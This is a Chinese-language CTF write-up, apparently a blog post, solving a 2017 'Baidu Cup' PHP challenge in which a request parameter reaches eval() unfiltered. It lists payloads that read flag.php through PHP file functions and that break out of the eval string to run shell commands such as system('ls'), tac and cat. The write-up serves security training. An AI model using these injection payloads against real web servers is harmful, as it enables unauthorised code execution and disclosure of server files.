“百度杯”CTF比赛 2017 二月场-爆破-2

“百度杯”CTF比赛 2017 二月场

爆破-2

类型:misc-web

题目描述:flag不在变量中。

解题方法:打开靶机,得到一段php源码:

代码审计:

1.里面包含了flag.php文件

2.获取hello的值,并用var_dump函数输出相关的变量信息

我们试着传入参数:

?hello=$GLOBALS

这里我们发现flag的信息并没有在变量中,那我们猜测flag的值应该是藏在flag.php的源码中,分析代码是发现这里也没有设置过滤,就可以通过eval( "var_dump($a);");函数,就有好多种方法来获取flag.php的源码

方法一:

file_get_contents函数

file_get_contents函数把整个文件读入一个字符串中

构造payload就可以得到源码:

?hello=file_get_contents('flag.php')

查看网页源码就可以得到flag:

方法二:

file()函数:

file()函数与file_get_contents()类似,不同的是file()将文件作为一个数组返回,数组中的每个单元都是文件中相应的一行,包括换行符在内
构造payload:

?hello=file('flag.php')

方法三:

show_source函数和highlight_file函数:对文件进行高亮显示

用法:可以直接用:

?hello=show_source('flag.php')
?hello=highlight_file('flag.php')

也可以通过该函数对eval()函数进行截断重组,但是要保持eval()函数里面php代码的正确性:

?hello=1);show_source('flag.php');echo(1
?hello=1);highlight_file('flag.php');echo(1

对应的eval语句就是:

eval( "var_dump(1);show_source('flag.php');echo(1);");

即可得到flag

方法四:

可以通过linux命令来进行读取:

查看里面的文件:

?hello=system('ls')

可以用tac命令来读取flag

tac倒过来就是cat,是将文件倒着显示,即文章最后一行显示在最上边读取flag.php:

?hello=system('tac flag.php')

因为这里没有设置过滤,可以通过对eval()函数截断重组,注意要保持eval()函数里面php代码的正确性

通过测试,cat、tac、more、less、head、tail都可以使用

以cat为例来构造payload:

?hello=1);echo `cat flag.php`; echo(1

查看源代码即可得到flag

posted @   张伟文  阅读(32)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示